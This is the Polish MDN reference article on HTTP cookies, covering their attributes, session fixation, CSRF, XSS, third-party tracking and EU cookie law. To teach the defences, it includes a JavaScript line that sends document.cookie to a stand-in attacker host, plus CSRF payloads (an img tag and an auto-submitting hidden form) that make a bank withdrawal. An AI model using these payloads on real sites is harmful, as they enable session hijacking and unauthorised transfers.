--- title: Ciasteczka HTTP slug: Web/HTTP/Cookies tags: - aplikacje internetowe - ciasteczka - ciasteczka artykuł - dane - pamięć przeglądarki - pliki cookie - protokoły - prywatność - przeglądarka - serwer - śledzenie - żądania HTTP translation_of: Web/HTTP/Cookies original_slug: Web/HTTP/Ciasteczka ---
{{HTTPSidebar}}
Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem. Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.
Główne zastosowania ciasteczek:
Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to Web storage API (localStorage
i sessionStorage
) oraz IndexedDB.
Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę Dane w narzędziach dla programistów dostępnych w przeglądarce.
Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek Set-Cookie. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka Cookie. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.
Set-Cookie
i Cookie
Nagłówek Set-Cookie jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:
Set-Cookie: <nazwa-ciasteczka>=<wartość-ciasteczka>
Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.
Set-Cookie
w różnych aplikacjach uruchamianych po stronie serwera:
HTTP/2.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
GET /sample_page.html HTTP/2.0 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Ciasteczko stworzone w poprzedniej sekcji jest ciasteczkiem sesyjnym: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw Expires
lub Max-Age
. Jednakże przeglądarki mogą użyć mechanizmu przywracania sesji, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.
Zamiast wygasnąć po wyłączeniu klienta, trwałe ciasteczka wygasają w konkretnym terminie (Expires
) lub po określonym czasie (Max-Age
).
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Uwaga: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.
Secure
i HttpOnly
Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy Secure
, poufne dane nigdy nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (http:
) nie mają możliwości ustawiania ciasteczek z dyrektywą Secure
.
Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka HttpOnly
są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga HttpOnly
powinna być ustawiona.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Dyrektywy Domain
i Path
definiują zakres ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.
Domain
określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest host aktualnej lokalizacji dokumentu, z pominięciem subdomen. Jeżeli dyrektywa Domain
jest określona to subdomeny zawsze są uwzględnione.
Przykładowo, jeżeli ustawiono Domain=mozilla.org
, to ciasteczka są uwzględnione także dla subdomen takich jak developer.mozilla.org
.
Path
oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek Cookie
. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.
Jeżeli ustawiono Path=/docs
, to następujące przykładowe ścieżki będą pasować:
/docs
/docs/Web/
/docs/Web/HTTP
SameSite
{{experimental_inline}}Ciasteczka SameSite
pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków Cross-Site Request Forgery ({{Glossary("CSRF")}}).
Ciasteczka SameSite
są relatywnie nowe, ale wspierane przez wszystkie główne przeglądarki internetowe.
Przykładowo:
Set-Cookie: nazwa=wartość; SameSite=Strict
Atrybut SameSite
może przyjmować jedną z trzech wartości (bez rozróżniania wielkości liter):
None
Strict
Strict
nie zostanie przesłane.Lax
SameSite
są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.Przeglądarki decydują się na domyślne ustawianie SameSite=Lax
. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (cross-origin), należy zrezygnować z zabezpieczenia SameSite używając wartości None
dla tej dyrektywy. Wymaga ona obecności atrybutu Secure
.
Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się gdzie ciasteczko zostało pierwotnie ustawione. Każda subdomena jak na przykład application.example.com
może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do example.com
lub do innych subdomen dzięki ustawieniu atrybutu Domain:
Set-Cookie: CSRF=e8b667; Secure; Domain=example.com
Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku session fixation. Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.
Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją includeSubdomains
, to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem Set-Cookie z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie example.com
.
Aby ograniczyć możliwości przeprowadzenia ataku session fixation powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem. W ramach silniejszej obrony możliwe jest użycie prefiksów ciasteczek w celu potwierdzenia pewnych faktów na temat samych ciasteczek. Dostępne są dwa prefiksy:
__Host-
Secure
, wysłaną z bezpiecznego źródła (HTTPS), nie posiadającą atrybutu Domain
i mającą atrybut Path
o wartości /
. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".__Secure-
Secure
i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks __Host-
.Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed session fixation.
Aplikacja będąca serwerem musi sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji nie wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.
Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź sekcję Set-Cookie.
Document.cookie
Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga HttpOnly
nie jest ustawiona, to także istniejące ciasteczka są dostępne.
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi HttpOnly
.
Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji.
Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.
Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.
(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
Atrybut HttpOnly
może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka. Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej polityki bezpieczeństwa treści (CSP).
Na stronie Wikipedii znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <iframe>
) gdy strona jest ładowana:
<form action="https://bank.example.com/withdraw" method="POST"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:
<form>
poprzez użycie niewidzialnego pola wejściowego <input type="hidden">
. Powinien on być unikalny dla każdego użytkownika i przechowywany (np. w ciasteczku) w sposób pozwalający serwerowi podejrzeć oczekiwną wartość w momencie odebrania żądania HTTP. Dla wszystkich nie-GET'owych żądań potencjalnie mogących wykonać jakąś akcję w systemie, ten token powinien być porównany z jego zapisaną wartością. W przypadku niezgodności należy odrzucić takie żądanie.
SameSite
ustawiony na Strict
lub Lax
. (zobacz ciasteczka SameSite). W przeglądarkach wspierających tę funkcjonalność, efektem będzie upewnienie się, że ciasteczko sesyjne nie zostanie wysłane w żądaniach do innych stron, więc żądania te nie będą przez serwer aplikacji uwierzytelnione.SameSite
zapewnia ochronę wszystkich przeglądarek nawet w przypadkach gdy ochrona mechanizmu SameSite
nie może pomóc (np. gdy źródłem ataków jest oddzielna subdomena).Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko własnym (first-party cookie). W innym przypadku mówimy o ciasteczku zewnętrznego podmiotu/witryny. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są ciasteczka używane przez Google. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. Privacy Badger stworzony przez EFF).
Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie oświadczenia fundacji Wikimedia o plikach cookie.
Nie ma prawnych lub technologicznych wymagań używania nagłówka DNT, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz DNT aby uzyskać więcej informacji.
Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w dyrektywie 2009/136/EC wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.
W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.
Aby dowiedzieć się więcej, sprawdź artykuł na Wikipedii oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.
Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. Web storage API i Flash Local Shared Objects.